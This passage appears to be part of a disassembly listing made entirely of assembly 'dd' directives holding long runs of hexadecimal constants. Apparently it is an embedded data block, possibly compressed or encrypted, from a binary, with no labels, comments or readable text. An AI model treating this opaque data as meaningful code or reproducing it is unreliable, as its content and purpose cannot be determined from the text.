9F3324DEh, 4017AE55h, 0C4614F63h, 4D399924h, 465CF1E8h dd 9D40119h, 27EAA991h, 9BF5120h, 24F9B874h, 5C2B5628h dd 5E041746h, 0C1573523h, 52711D2h, 92580D14h, 5889D4DBh dd 0BF1AFB81h, 9032E8h, 0D7F44D8Ch, 0B91B1D5h, 297AF661h dd 0F29FA64h, 34249180h, 2D220908h, 0DF810800h, 9417AA37h dd 7F045845h, 0D2130869h, 0E92470E7h, 0FC8DE4h, 0CFF70ADBh dd 0AB8EA803h, 0E6437E00h, 8FBABF42h, 26ED7477h, 7E1907B9h dd 0CE001A46h, 0AD5CE6B5h, 0F7904569h, 78F462Dh, 0FDE401FDh dd 0FD3DD3B1h, 62A91C37h, 0CFD0F2B7h, 0AD9D2909h, 8B77AF0Ch dd 44D844F7h, 0B5168BDBh, 0D29D10F5h, 9AF0EF66h, 8002BFA8h dd 9CDBBEDAh, 1124975Bh, 0B7BB8017h, 480F1231h, 60879B8Bh dd 0A60D8CE8h, 9A207C00h, 98AEC347h, 745B012Dh, 8FB14B5Ah dd 0D1B7059h, 2B61CBC2h, 70F3F3C3h, 69B66034h, 0B30A0F10h dd 0B9A61E8h, 2465261Dh, 18483011h, 1A315910h, 0ED174EE9h dd 5EF2C25Dh, 5D028484h, 0C0D3F75Dh, 9F129Bh, 0BE97E67Eh dd 0E705810Eh, 76C9462Fh dd 577924B5h, 0E200ECB8h, 534FE57Fh, 5CED646Bh, 612A4139h dd 8050999Ch, 66030DC4h, 371D2D5Ch, 0C7895812h, 13E7285h dd 52B1F113h, 3C359D89h, 0B7EE6B1Dh, 327F007Bh, 0BA61ADA4h dd 2B135117h, 0B8859113h, 29C931A7h, 16278704h, 6A2A329Dh dd 64210276h, 40AFDA73h, 0B32F54E6h, 0BF0F0582h, 5B04B7F0h dd 0D7017D6Ah, 94416B5Eh, 81C041ACh, 10606221h, 90241105h dd 0F802DE1Dh, 0B9C6DD09h, 492D602Fh, 0C646822Bh, 0AE7D6400h dd 50B333F2h, 9E1500FCh, 96288D70h, 0B0980D08h, 4B2A3D20h dd 89D5DB5Eh, 9DE385E7h, 0BCEBCC55h, 233797E6h, 7B0FD91Eh dd 74EAC266h, 0E2E84D0Bh, 27C65359h, 4C75C700h, 4663320Ch dd 2EC40020h, 170830E4h, 0A2123353h, 3A3A4365h, 6E1F1423h dd 3F38EF01h, 1C311767h, 36053E40h, 10D75AE9h, 1CE885EEh dd 60728Ch, 9EFAA4D1h, 8B545A0Fh, 4FFDC15Ch, 3ADBC835h dd 0BE3A8480h, 47299F26h, 1AD1F173h, 0C43A7818h, 0B9DF0046h dd 2A08BF26h, 35165AFBh, 0FEBA05DCh, 0F7AE250h, 0C082B24Fh dd 161755CCh, 0ED2E00BFh, 5EB3012Bh, 0A760876Fh, 6E49B8FCh dd 0BA2901C4h, 9A6F016h, 4948961h, 7071D324h, 20018B03h dd 0E387BBD3h, 0E020463Bh, 1240945Dh, 0F0EAA66Ah, 1CBC494Eh dd 0CA84F5h, 0BF1DAFECh, 8E12EB83h, 50E66A70h, 0D38833F0h dd 8BE54300h, 0DE7EAC52h, 35B51631h, 4D2FD11Dh, 81660043h dd 9CB62DD6h, 98B7348Bh, 5BBB8700h, 9C0868Ah, 0D11EA202h dd 9612987h, 0EEAD79C9h, 5745306h, 5EF956DFh, 0C9778090h dd 50773444h, 0DC9594h, 0A188E149h, 1F8B1B0h, 0D059D14h dd 0DD2394CFh, 33DB7300h, 5BD74Ah, 66F1A996h, 0F40401E2h dd 0B3FD4C2Ch, 4877BE00h, 9F5F3876h, 6202F0BDh, 0A0D9B589h dd 26BF6681h, 0D5BA9FD4h, 19C4B345h, 6F81460h, 0A9519014h dd 0B8DD26ACh, 0F5B119ADh, 0FF022A28h, 0F08B66D3h, 0CDA05AD9h dd 0BE80BDBCh, 5B8B5855h, 0B6AF7EE9h, 43575865h, 0D482BC84h dd 7252E916h, 362159CFh, 177186A1h, 9C1FA818h, 0E6C04D56h dd 3AA6BFBDh, 659D2A8Bh, 29C1898Ah, 4E31A305h, 0D90D3282h dd 282B631h, 0BC708BBBh, 0DF20E1F3h, 0B6407ABDh, 4F1C4436h dd 2331A989h, 4F63E9C1h, 79B2C817h, 275BB600h, 0F8E7D7A6h dd 6BBA17E3h, 52C11ACDh, 509307D1h, 1FF588h, 0BE7388D3h dd 5E9A1BB2h, 109F34FCh, 0A46BD75Ah, 0BEEE8422h, 5A00DCF1h dd 3CEB2D28h, 12B3F12Ch, 10FC254Eh, 8E4ABA3Eh, 0C01BC8C9h dd 3D7E7D34h, 35D65706h, 5B5489ACh, 6F2E7522h, 8BFB02C6h dd 292825B5h, 531148F3h, 0B5D8604Fh, 7283113Dh, 9031408Ch dd 2DD56058h, 7910C2DBh, 0B508B1D0h, 610C9F1Ah, 0B78B29FEh dd 9F6F9012h, 0B4EF9E0Fh, 4799F7C0h, 0E9517254h, 6E888422h dd 2F86B0DBh, 0E62B40B0h, 646E705Ah, 71E40F02h, 0D7AB503h dd 0A86B139Dh, 0B506BAF3h, 0CC96E63Dh, 0D8F1ED09h, 0CE813A5Bh dd 678913A7h, 0FFC03CCDh, 9E55012h, 0A9B52BFAh, 65C7F629h dd 6D6214C4h, 4270996Ah, 0B84FD704h, 0A2F97C13h, 1326E4Ah dd 0E2B9E30Dh, 0CB20F98Ah, 52145A7Eh, 0A02EE7B5h, 9893449h dd 0D7130203h, 0B1955A04h, 0D90C9CD6h, 98DFCE27h, 0B0F6380Ch dd 81AF9B5Bh, 18B0D299h, 50763221h, 207DAEE0h, 0DDAB9524h dd 98B7C609h, 8D1182h, 0E145DFBFh, 291B37ACh, 1089732Fh dd 304BBAh, 0DC748509h, 0B156B805h, 0DF142C02h, 429025C0h dd 0C04CED60h, 0DD58BF6h, 5B188A3Ch, 0C2322449h, 0C4F3EDEEh dd 2A9E950Ch, 103809Ch, 0B52ED1BDh, 0E0B78B2Bh, 29FFAC09h dd 0C0DA6DB7h, 0BC6FCD7Eh, 0FB01A305h, 0F3B2FCAAh, 9B283800h dd 7EA68CCEh, 0BCB6101Eh, 4BCB5584h, 5781C895h, 0E2690129h dd 0C6050148h, 0E9587391h, 5B93B87Eh, 5D07480Ch, 2FD37A5h dd 8A0F90AAh, 0C785F1D9h, 17B68E58h, 0FC301CA2h, 0E368010Fh dd 0B196F32Ah, 9500306Ch, 19161D5Bh, 5BFD1393h, 9BA6E37h dd 0A983E58Bh, 4F15785Dh, 3006C92Ah, 0EE16E820h, 34C97668h dd 8ECB2EF6h, 6DF52D91h, 0AFA6D335h, 0FA9977A0h, 75DF312Eh dd 0F396900h, 95419589h, 0A65B4384h, 91A2E07Dh, 0B913168Ch dd 0C81CCEB2h, 5EEDC117h, 0FDBEAE1h, 0F90C0611h, 8B0D38E9h dd 0DE9BC04Fh, 32F93880h, 9BEC226Eh, 0CAA05171h, 5F810B61h dd 4FBD4720h, 0BFD8D021h, 0F4B41B47h, 0D589239Fh, 0B5E49330h dd 0E312E656h, 1273DFA4h, 5557C9Dh, 0A30FB1AAh, 69DA4AC6h dd 7B367680h, 0A904EA33h, 0AE97C1Dh, 0F15EBD40h, 2A059F8Dh dd 0ED694517h, 51C9CFA3h, 0E602D4Fh, 92192322h, 0D8E91673h dd 4BEE9DB6h, 0C018881Ah, 6BF2F669h, 0DD95C551h, 7E756E15h dd 3168A381h, 0C9409366h, 0A6E4C4Ah, 0B428939h, 0E4E58CBEh dd 60EB02F7h, 0A07A079Ah, 0AD2047F0h, 48B8051Dh, 826B3CCBh dd 5B898E24h, 9BF9C085h, 74AC99Dh, 0B8F06C3Ah, 4EC07292h dd 63C7C860h, 0F59E801Ch, 0EFF15080h, 0EA8D89A1h, 2973A033h dd 256158C8h, 2CC2D52Fh, 0F8017B7h, 173B728Fh, 15AA246Ch dd 33C1BB52h, 0C79D00D5h, 8DF4534Ah, 90DF0164h, 4F942D0h dd 66BECD2Ch, 0F983F041h, 320065Bh, 7C9E09CBh, 0AC5D2EE3h dd 6C0D698Bh, 57BC7Dh, 0C0219A82h, 49014357h, 3C4A769Fh dd 0F270111Dh, 3BF42547h, 2D201B50h, 95F0606h, 0D92FA98Dh dd 0FFF8711Ch, 0DBD2944h, 852C54B9h, 0E8BE40D5h, 4148A5BBh dd 0CFB6C09Fh, 0F294B748h, 1718054Ah, 0E9C18B23h, 0B2B833h dd 0B4787401h, 0F9BF0F53h, 41BE5E00h, 0EB408280h, 7EEE9604h dd 5F1F1846h, 0DA340098h, 25B50B50h, 36F92C9Ah, 5D5FF0B5h dd 0BEC602FBh, 775444DFh, 9A6F2D1h, 121F8108h, 0CB90550h dd 0F0D4A11Ch, 4C0FDBEFh, 0F4601597h, 20F510CCh, 11445A2Dh dd 2116200h, 9646F189h, 169576AEh, 0A65DB842h, 0E0854FF1h dd 69857D08h, 38816FB7h, 2DCF4174h, 0D898BB78h, 0FE484CD7h dd 0BF92D43h, 81F637A6h, 699D89B9h, 8B900028h, 0DE0797FEh dd 0B52370F8h, 62A23541h, 490D4556h, 203F0E9Eh, 0E1970F72h dd 0B36C0E01h, 2CA9B589h, 0A6895F02h, 4779676Ah, 112861AFh dd 618D4107h, 0D22C6914h, 1723183Ah, 3067C603h, 0F6AC1215h dd 5AEFA812h, 0FA026E6Eh, 0E5F1A6E9h, 6F0C6AE0h, 4FC92549h dd 74CD6813h, 34A202Ah, 0AB008D45h, 0C47B21B7h, 1DA1EA9Bh dd 583B4782h, 0ACD79A60h, 0A4A81E54h, 5E611B02h, 0D10901E9h dd 4CE1628Ah, 0D4A37412h, 0F61DAB02h, 8259FB0Eh, 7C1CB9F7h dd 0D59D9ECh, 12656A3Ah, 231C49FAh, 185D9D84h, 15B238E3h dd 5C9DA30h, 35F63BBEh, 48A9A346h, 418A7085h, 0AC69F84Eh dd 0F5059C22h, 4B2FBD83h, 5D228EA2h, 1BC44785h, 0E6379160h dd 97424E04h, 0DFCD07Ah, 8478E480h, 77FAA5AFh, 0FD928502h dd 0F466E94Eh, 0F900F6C2h, 625019EFh, 2EDA5F2Ch, 34CA7073h dd 24CFF3D4h, 3017538Bh, 1888B5CFh, 0CC7356C0h, 3186527Ch dd 0CE818870h, 9C80C609h, 0EBD0082Ah, 706CD34Bh, 2B4F48A3h dd 554DE68Eh, 770BD8BCh, 42D5383Ch, 0EBB54DB6h, 0B02C3BB0h dd 0CEFED24Ch, 0A557E036h, 0F2134Fh, 97F6F4A6h, 0C430D0CEh dd 0F9163E75h, 0F48835F8h, 0F9379186h, 138A1817h, 881248C4h dd 0CA008E79h, 78F52872h, 4945ACFh, 698A042Fh, 4AA3B744h dd 801776Ah, 0FB4D6C4h, 41503410h, 40B8A968h, 0DE77EA00h dd 25E4D9h, 844AEECCh dd 0E53AFBF1h, 80E990BFh, 34792E65h, 0A6AF2617h, 0EC10884h dd 9932E91Fh, 0E51980E8h, 1CA1C94Ah, 2EB05F27h, 903B6068h dd 0B40E833Ch, 0A2480B5Ah, 0F470E620h, 0E313DC6Ah, 91C571E4h dd 3EF0081h, 8981953Ch, 3C1041BDh, 8C18FC79h, 0B11ADB01h dd 8E0FCA28h, 60607142h, 9E61D652h, 0DF810087h, 1A015C54h dd 0DA211EB6h, 25181DD1h, 38AAF100h, 779FD083h, 0D5CF5F7Dh dd 0C078DB40h, 940A6609h, 6B72165Fh, 0F44CDFCh, 67ACC028h dd 12B19506h, 0B05F5851h, 0F94BCA00h, 11058A35h, 1FB21059h dd 90C8087h, 0E6B09BCEh, 3244520h, 2EAC67BEh, 0B685B070h dd 0A0DFE097h, 390C2EE9h, 2A9D0B4Bh, 830F6CC8h, 0A5116E95h dd 6016C40Bh, 55CB780h, 5F51C4BEh, 73F7A409h, 2DB53188h dd 46442599h, 0E1BD0912h, 0ECED5D84h, 28C14A8h, 53BE664Fh dd 0A790E82Ch, 0E50027B0h, 7134F1A7h, 5FFCB59h, 0B509F525h dd 0FC0FD5B1h, 846E4BF7h, 0FAB00E7Dh, 0E3F35D12h, 885276BCh dd 0F55F12A8h, 11B08857h, 4CA6BC17h, 0A5BFAD12h, 98E8D8FFh dd 58B7095Bh, 2729A53h, 0F91065B4h, 0E7A2A7B6h, 0FBFE01AEh dd 40A400F4h, 0D9059FAEh, 9A9936F1h, 21804C80h, 3E4A45EEh dd 10803DA9h, 0D791AF70h, 5159BD8Bh, 0F5F00A5h, 0DE81F3B7h dd 56B9162Fh, 8805C94Dh, 27151DB2h, 0E06DE38Bh, 0A2E360C0h dd 0BCB91275h, 89BB0BC5h, 0F75B89F2h, 86280D4Ah, 0F5BD3382h dd 2DECD12Bh, 5C0D5EDh, 3889A4DCh, 68417D9Dh, 2BE18D0Ah dd 71E06C76h, 0DA28D632h, 0F8049234h, 22159D29h, 7CD961FDh dd 4D5B12B9h, 0B37FE069h, 0BA3BEEFCh, 0BC7DDD2Bh, 0E8012D1Bh dd 0C8399F68h, 13007AE0h, 0A345114Fh, 25B57158h, 5C41503Fh dd 1CDBC65Eh, 0E8F4917h, 60C01688h, 4AE9869Bh, 2167B37h dd 5388B34Bh, 7D4C40B2h, 0A607B626h, 82260DDh, 0EE024B19h dd 411CC24Fh, 0B938DA27h, 9A58259Ch, 0AAF98000h, 0BD436BF0h dd 4AC7EEDCh, 57F0D085h, 1E0468D5h, 959D0150h, 0A34A2CE2h dd 3119A235h, 75DCF4A9h, 0CD3ED32Ch, 0FF04CA96h, 610B1E65h dd 5F9A3967h, 0DECAF60Ah, 4DB3FE02h, 566EF121h, 0A35E69D6h dd 8D09A968h, 6B35F908h, 0D41724Dh, 29F03FCAh, 0C5EC0B76h dd 0B9716AC2h, 64B16549h, 0E00E631Ch, 9A09BCAh, 8892B95h dd 284B31F8h, 8D82DFA2h, 900115B1h, 498012E9h, 6D471474h dd 97003099h, 6E28F558h, 9AC05D8h, 0C4B4955Bh, 0F66042E2h dd 0F802A65h, 0CD0B4B8Ch, 5696D70h, 4125E781h, 0FFB8B1ADh dd 550174FEh, 23F145EFh, 842A85BDh, 0E2AAE6CCh, 0BD37558Bh dd 0E2502B0Fh, 0E93ABF66h, 9017053Eh, 22C31965h, 2DB5B5A0h dd 50F0B283h, 0FB8BAA5Ch, 3D3B7019h, 2A0F200h, 0B2E211C2h dd 4DC60581h, 0AD4CAB9Bh, 13CB8FFh, 1FD6B180h, 298EBCECh dd 27BBB8D9h, 4FE277E9h, 6BE0116Dh, 1235E70Ah, 5600E03h dd 0C289D029h, 305F0DB7h, 166B1245h, 0B1671BA5h, 134F5EBh dd 23830AE8h, 1416E03h, 0CD3A93E8h, 0BFED7328h, 0A0E83544h dd 0BF9815Fh, 22BB1079h, 8B07DF73h, 0EFE1AEF2h, 5B200299h dd 0AB4C1DB7h, 0FBC78015h, 5E7D5666h, 37605F27h, 0D04C3F86h dd 8FB0296h, 0AE70B941h, 0F78F26E5h, 65DDCE70h, 68450234h dd 185D8D21h, 0DB604B6Fh, 382373h, 79B713E2h, 858BBC76h dd 6657CD60h, 0CA23EAB8h, 0A5D4A56Ah, 23C6AECDh, 5492058h dd 0C295FBECh, 8841D243h, 49952965h, 8309FAB1h, 0F88901E1h dd 0A1D4CB33h, 4BA1DAD0h, 45870F57h, 8F0CBDC0h, 27BC9251h dd 35A95EA8h, 4D3BA725h, 3290C067h, 37002ABFh, 8B340EB9h dd 0CD6061C6h, 4DAD2DB8h, 0B8232903h, 0ADE19527h, 0CE04042Fh dd 82102EF1h, 49900222h, 1EE91CD2h, 9D49B650h, 2D1AEE28h dd 8B83ED37h, 0FBEB1428h, 0C739A0F7h, 87D7A50Ah, 98199D0Bh dd 7A7B8C4Dh, 746E0A2Fh, 0C91336Fh, 1D958B04h, 0C5BD422Ah dd 27BC080Eh, 9EC02FCDh, 14BA49A4h, 0D8DCC780h, 7D8523C7h dd 0C5AE01C5h, 0B74E670Ch, 5C944BDh, 6AE81669h, 62943E25h dd 2DB55601h, 4F2ACFCAh, 0B72B200Bh, 5AD56A08h, 0EBA92984h dd 4B4BBE51h, 6D8C7FDBh, 29419950h, 0E2C5B4CFh, 5523E972h dd 1BEC5BDh, 28FB8F8Eh, 89EABAE4h, 0DC74DEF6h, 0F3106102h dd 49DCF414h, 0ED1D24D3h, 490BC59Dh, 418875FBh, 4202F53Ch dd 5B50890Ch, 0DC6AB6h, 7BE11A6Bh, 7A298084h, 2358B55h dd 2E19DEDBh, 0B23738A7h, 68DD2381h, 1D2AF9E1h, 62A50B0h dd 69B53158h, 6957FBC7h, 2C098541h, 8B0EE15Ch, 4A14422h dd 398D8951h, 0CC5E0A08h, 939372Fh, 7271491Bh, 90BFB803h dd 266002F0h, 85C7FD23h, 0C4AB0D5Bh, 59FC6678h, 57BCF261h dd 7BE4C704h, 39C1EBB9h, 7E6FE99Dh, 0DB7807B5h, 0A2F99509h dd 5D30B263h, 70002537h, 80FB67C7h, 922628C6h, 0BAC128D5h dd 0F0110DC7h, 2031EA81h, 144CC209h, 414D3F21h, 8D93FFE7h dd 0FE5AA185h, 286450E4h, 0EE7035FFh, 0BE97B289h, 2B58C194h dd 0F01A92C2h, 8166A000h, 905A4D38h, 0D812451Bh, 3C0750B7h dd 3A81D003h, 5C194566h, 2D8EF484h, 0E924100Bh, 0C8C788D9h dd 0A9204890h, 40031914h, 88064F3Ch, 1E18B5C2h, 12627D8Bh dd 503085Dh, 1C5B61F8h, 9BD1030Ch, 0DB4D2233h, 51121008h dd 8F640A24h, 83056D05h, 2FD804C4h, 0A7BB88Bh, 0B0A98110h dd 59B53014h, 0C306C033h, 3135BD83h, 24E1C850h, 6585C684h dd 47003BBCh, 9AA7D268h, 0B516FFD4h, 0DAF42095h, 0FDA33BDDh dd 6D0487Ch, 13820868h, 0D3F7211Dh, 0AC6E2B60h, 54B8A300h dd 0AF433DD2h, 0B356AA01h, 30BD8D2Bh, 728C0F01h, 0CAB5052Ah dd 0E901C08Bh, 0F88AB3F1h, 2ACDDE88h, 1209758Ch, 74184499h dd 53501918h, 4F38B838h, 0C9E7E404h, 249D71A0h, 15FCE220h dd 22585BD3h, 20211788h, 32DF13E2h, 76CE9941h, 1D4DF0E2h dd 13CC0638h, 0BA0E4BF9h, 0E8DF8197h, 7A6F0827h, 0DD670616h dd 4EBE15C4h, 0BF2590F1h, 0EAD0E8C8h, 0EE592E6Dh, 5DE4AA4h dd 0F6B0D04Eh, 0CC5B043Bh, 0A097F707h, 0CF0BD4Fh, 0F5EE6784h dd 165CB1A0h, 0C2EC815h, 296799E8h, 65D9D2Fh, 4E30F999h dd 0BF46C491h, 200066Eh, 65EF7550h, 65D767E8h, 249EC6C8h dd 9A39CCh, 287DE6B4h, 9F1BDC26h, 0CE7C7AA3h, 1B7BDADh dd 0BC60FD00h, 17A888A2h, 0A0115E5Dh, 222FE8B0h, 41604F07h dd 0F0D77DCFh, 0CE628B66h, 0E40D31A8h, 0FC0445D7h, 1217CFB9h dd 0D556EBE8h, 0ADE071A6h, 3900072Fh, 81B4D78Dh, 31B830DEh dd 157A684Ah, 88DE6A25h, 2B0FC80h, 68484932h, 0E8F20466h dd 7AFF0694h, 2D0F020Ch, 403DFC38h, 9857ED23h, 26F77C38h dd 90FE5951h, 0E0804B2Eh, 0B85416EEh, 46A19D43h, 8952E861h dd 25D98085h, 6D942D43h, 626EFAh, 67AE58CAh, 2C16DAE8h dd 8141A44h, 0A03034A1h, 0C8F3C360h, 0B82147Ch, 0E40F2DB5h dd 826D77A2h, 0F02A66C0h, 0FEE84D16h, 0D6813047h, 3C2D17B1h dd 21492C8Bh, 8CC5DC49h, 2FE7E8BBh, 26F1658Bh, 5BF5A1EDh dd 0FDECC00Ch, 2CD2C38h, 0E8FC9745h, 7F7305B7h, 45E0D0h dd 2C067C4Ch, 8D237703h, 8025A529h, 1F243D08h, 33E12429h dd 754E7DD5h, 0BB8036DBh, 1E06C55h, 21A59514h, 9992536h dd 72FA5BC7h, 8AA0F8FCh, 0A0502D57h, 6609B3FAh, 0F5719436h dd 0C03A4D9Fh, 0BD501A18h, 0C1DF1B01h, 89733AD1h, 22405E1h dd 4D82BE8h, 0BB64D8DFh dd 87C84602h, 4BA92866h, 9BB34A30h, 7CE581B7h, 9B2EB0E9h dd 1F95C7B8h, 0C4CB1F2Eh, 0EA3709B9h, 844DF40Dh, 0AC26EDBDh dd 0F2BDA4CEh, 6E21C0A9h, 0D276971Ch, 0DD1CAC2h, 4BD953h dd 37AE68F4h, 8B255FDDh, 0E164C3h, 60DEAC32h, 584BE357h dd 0A7D64900h, 0FA8B5628h, 0BAA5E35Eh, 0B4542B6Ah, 9509B12Ch dd 2B4592Dh, 611B509h, 71D4D312h, 0B94B30F2h, 1A977E92h dd 60794D19h, 8A3637E1h, 509F1305h, 11BDC688h, 128C15ACh dd 0A65B2A17h, 7FDBE017h, 4CB371E4h, 0A30597D0h, 9598656h dd 58E25DA5h, 0DA408FFCh, 29A2CCFh, 0B999442Bh, 38561A89h dd 88151DDCh, 0ACF41295h, 49E89328h, 4F0A21F7h, 0AF6BE8AEh dd 0AA95A190h, 420B4096h, 80EAB704h, 0C8DB0A67h, 0A262B102h dd 7B171DF2h, 8DB1D037h, 3803DF07h, 0B9301FC2h, 518A1691h dd 0DB2B9410h, 94C98074h, 188E68D4h, 0F15F526Bh, 0B95A8529h dd 0F1952990h, 0F491BE15h, 80F75500h, 7BB00BE2h, 1B35DE5h dd 0BA0DB41Ah, 41E0344Dh, 1E388FB5h, 46E1502Eh, 0B53D9D09h dd 0F9BDDFA0h, 5FD4B7DAh, 0F282C037h, 40B59AFEh, 0A416350Bh dd 80F97089h, 1AFCAFB1h, 277834B3h, 4152039Eh, 1E13B966h dd 8DA6AB4Eh, 2A0FD0E1h, 5327670Ah, 9F102039h, 0DCD39482h dd 1A177A54h, 8DE0E0F6h, 48314A5Ah, 2C696AA8h, 810BB05Dh dd 80C11688h, 0AC886355h, 3E280E9Dh, 690D194Dh, 0C3DB4DAAh dd 67A85C5Ah, 0CD2A9529h, 0B5E65418h, 9226DD29h, 0A1213D08h dd 276D278Eh, 0FB675C0h, 94A70202h, 1EB1D83Ah, 5417EC82h dd 50F65B1Ah, 2371CCE8h, 0CF5C2803h, 32F7B41Eh, 75BEF1ACh dd 0B7B79050h, 0C09F1C52h, 0EACF0818h, 5C146FEDh, 5B82FE8Bh dd 0DE15DB6h, 801FE461h, 0A1937A2Ch, 0C257FD11h, 83BED2E0h dd 0F1803E01h, 0DDBD032Dh, 0A809933Ah, 0E8972B4Dh, 0A4310191h dd 21CB5B5Ah, 89207AC7h, 92068Ah, 2DB2D020h, 624516BDh dd 892F8F0Fh, 93E50A4h, 0C11F527Bh, 67CE884Bh, 2E3F8090h dd 0C21D83CDh, 5EA89D52h, 4DE6E24h, 0C19834Fh, 0E10144FFh dd 0EF041320h, 0B9002259h, 250557A2h, 0F99BC34Ah, 0BE664080h dd 8A0BBCE9h, 7E830FC5h, 0EA0EC4E5h, 1C23233Fh, 472C0A00h dd 12C935B5h, 0B23E269Ah, 7BF74EFBh, 2E029400h, 6ACA961Ah dd 0ECB80B05h, 0E5A25A87h, 0DAC40C00h, 8F5453AAh, 0CFD6E101h dd 6D8E72E8h, 16EE59F0h, 9E5FEBEDh, 15818477h, 84D6F827h dd 0DF2C2320h, 0B5096000h, 0B5FA1C91h, 0A7F92E4Ch, 9392723Ah dd 3910781Bh, 48B5D000h, 66AB969Dh, 0F3E0D634h, 0B02D46EAh dd 1E6D7EFh, 21A87CEEh, 99626D86h, 90CB41ECh, 74DF4F30h dd 0BFBB1E50h, 29CD6D49h, 63486BC0h, 1FA40114h, 0BAD566AAh dd 80E22860h, 0EE180B0Ah, 0CC8700BEh, 0C41E5F50h, 0F472801Ch dd 8A30B1A3h, 3DC388F9h, 0D5A7A261h, 83816F37h, 94B31768h dd 0DE6540A4h, 7046330Ch, 50DA92C5h, 170BC7D8h, 0E607FE68h dd 0C1C8E003h, 6DCD09E4h, 21108E0Fh, 11209D03h, 6F08BD25h dd 0B308D658h, 579E85Ch, 0B850A280h, 246E4A4Ah, 0A2D01912h dd 756A000Fh, 9BBE9AF1h, 16E30B34h, 23EA820Fh, 0FD01E251h dd 0AE8FFB44h, 89607682h, 0E1744D9Dh, 52F12FBBh, 0BD20D270h dd 0E0A5B8DCh, 0F7CE9771h, 0E658A093h, 127BE38Dh, 0F00FB6C0h dd 17D52E2h, 3387417Ch, 12AC9BDh, 0F363D1FFh, 64301AA2h dd 0E62A000Ch, 0BBDB9C9Bh, 932D3707h, 0DAC50009h, 0BB9051Fh dd 2DCE827Bh, 0ED16C154h, 1BA8FFC4h, 0CEFB579h, 34B88360h dd 8A0B05AEh, 0B6026ADDh, 350FE05Bh, 0CD053E9Bh, 318882DAh dd 900EF20Ah, 8950CE8Ah, 0D97E0B29h, 1CAD3899h, 9F002A3Dh dd 29AB71B6h, 0B6C95D8Dh, 0D42E90Bh, 156234F1h, 233DD768h dd 64C98039h, 1A2F4A9Bh, 0DB88495Dh, 0B17062BCh, 0BD238D09h dd 816F4035h, 1DF409EFh, 3B8151C9h, 3BFDB959h, 6979E130h dd 0E0D213A9h, 6EDE4790h, 0BD8B6186h, 4C47A595h, 2E29F26h dd 3195EBD0h, 257EF82Ch, 366FFAEDh, 3059DB2Fh, 0F5FF6A87h dd 16F1B521h, 1AE2D123h, 701C930h, 19A06FA1h, 0A5856133h dd 1016220Ch, 0E9122875h, 3394E2F2h, 85B0FF39h, 0E6DA2980h dd 311AC470h, 71E40508h, 0D5304BBDh, 8AD3803Bh, 0C818B6F2h dd 153097B3h, 0CB7CB407h, 8340925Eh, 4625EFCh, 5F26FD7Ah dd 0F3CF8014h, 5B0B70D4h, 42F8C18Bh, 537F344h, 0A19BB1BFh dd 33C96B48h, 0C283D8h, 769463C8h, 538FD6A1h, 2B8DAB1Eh dd 5DAB8CF5h, 0BFD180BBh, 72E9B7BBh, 0FB750F74h, 0D891C6A4h dd 0D1C6E80h, 18160E6Bh, 4641B950h, 85892E19h, 0BF02E83Dh dd 7B71BEAAh, 416A3EC2h, 45A517A4h, 9610D03Bh, 0DE766557h dd 0FB99ADACh, 337CC2E2h, 0D16B8269h, 62695E2Bh, 22931D84h dd 1880A5E2h, 6E380FEh, 3626895Ah, 17C3125Ah, 4FAE235h dd 197B58Dh, 0A134DD84h, 0AADB40EAh, 52B746C0h, 2B172079h dd 4BE66ABAh, 99A94EF0h, 0EB05747Fh, 7BC5D32Ah, 0FCD2F8A8h dd 17D03C57h, 8D918D01h, 202AB961h, 1495B5D4h, 0FC5082A4h dd 141B9ACh, 51DD29DDh, 0C02B2189h, 7A46E40Eh, 6D9D89BAh dd 43EE590h, 51501A3h, 0A1888C0Fh, 0B1160E9h, 0DBA75CDh dd 2F4D2901h, 570A3BA7h, 1099DD8h, 0AD9ED988h, 80D1C233h dd 0E983D07Eh, 9FF47504h, 3985B7h, 58B09276h, 308370F4h dd 0AAF03AC8h, 532FB72Ch, 4D974A0Dh, 3128E016h, 0A712459Dh dd 3CC86D11h, 7A8D005Ah, 4228F91Eh, 0D50053E1h, 16744705h dd 2DF815AEh, 56F8B621h, 4D953E9Ah, 0DB3FC205h, 16121057h dd 0A7F50BF1h, 7F0BC9C1h, 0E9070D2h, 79AD8D2Ch, 0C2DE509Dh dd 0C1031846h, 0ACD2FF08h, 955819B9h, 86F0C493h, 0D87C6B27h dd 98E8F500h, 7ACDCB57h, 5DB7B55Eh, 5ACAE600h, 26DF06C1h dd 20E22582h, 20D7B061h, 0E97D0A6Dh, 755217C7h, 43C5CF70h dd 68410077h, 61C03B55h, 46B89397h, 0E42A2925h, 2751E3C4h dd 0B8030E09h, 0C0045684h, 5DB94F66h, 9B0B5AE8h, 0A04527D0h dd 0E24DE890h, 0A49D5A33h, 0FF256144h, 705DFBE1h, 0FA997255h dd 0CFA5D780h, 12AFA1C1h, 1EDD80B8h, 6905A539h, 8AE1F95Fh dd 1DC2A58Fh, 8910807h, 0EE6E2BD9h, 99BD1204h, 353840BCh dd 33181F6h, 814D932Ah, 5BBB207Ah, 0B00F4251h, 0A0E395A8h dd 72B95345h, 224A9035h, 4B8411A1h, 8AA90140h, 1084CA50h dd 860F0308h, 0AE48B463h, 0D6601049h, 940BDC7Ch, 0D85EABAEh dd 0DC5DBCBCh, 76EDBB04h, 0B1803C88h, 8221B19Dh, 13404FF6h dd 185884h, 0C8902775h, 209670A1h, 3298F434h, 2C5B7EF4h dd 2DCE180h, 0C90AD9B7h, 0F8A18885h, 0FEB64E14h, 5C002E2h dd 0DE8201E5h, 0F0AD400Dh, 8A007314h, 5C3D758Eh, 612EC1B2h dd 0C51A28DFh, 45D661A0h, 0F87BA4C0h, 0E1253379h, 0F45A5415h dd 65B9EC00h, 744A3E28h, 41952E01h, 5390828Eh, 0F9465250h dd 0E05BB900h, 0A69284FDh, 0A9990214h, 0E15873A2h, 50318E80h dd 0CFF15A5Bh, 0EA6090AAh, 6A5F9C4Ah, 61C0759Bh, 90FA3ED8h dd 810FA512h, 8564C027h, 0FAF630BEh, 7312E568h, 60AF38FEh dd 17227A3Dh, 45C40D01h, 0DA5571F8h, 48DB07CCh, 895F5F57h dd 0ADC0BCCBh, 60EA6482h, 3481CCFBh, 70191A24h, 0DA6E38E1h dd 3FCDDC4Ch, 0CF87B17Ch, 0E664826Ch, 480256CAh, 6D3610FEh dd 9A507052h, 0D3379729h, 0DA48FC00h, 24126DF6h, 8B673E6h dd 53B1021h, 0FDEB9685h dd 30F00DA6h, 0D7010B17h, 89CFAB2h, 0DE478843h, 0FCE93430h dd 0BBEFB701h, 0B5F1D640h, 6AF704BFh, 0C0F95A96h, 0AFEADBCEh dd 8E6B6890h, 0E0ADEDBAh, 0D3AC9D2Eh, 0E70B870Bh, 0C9AA822Ch dd 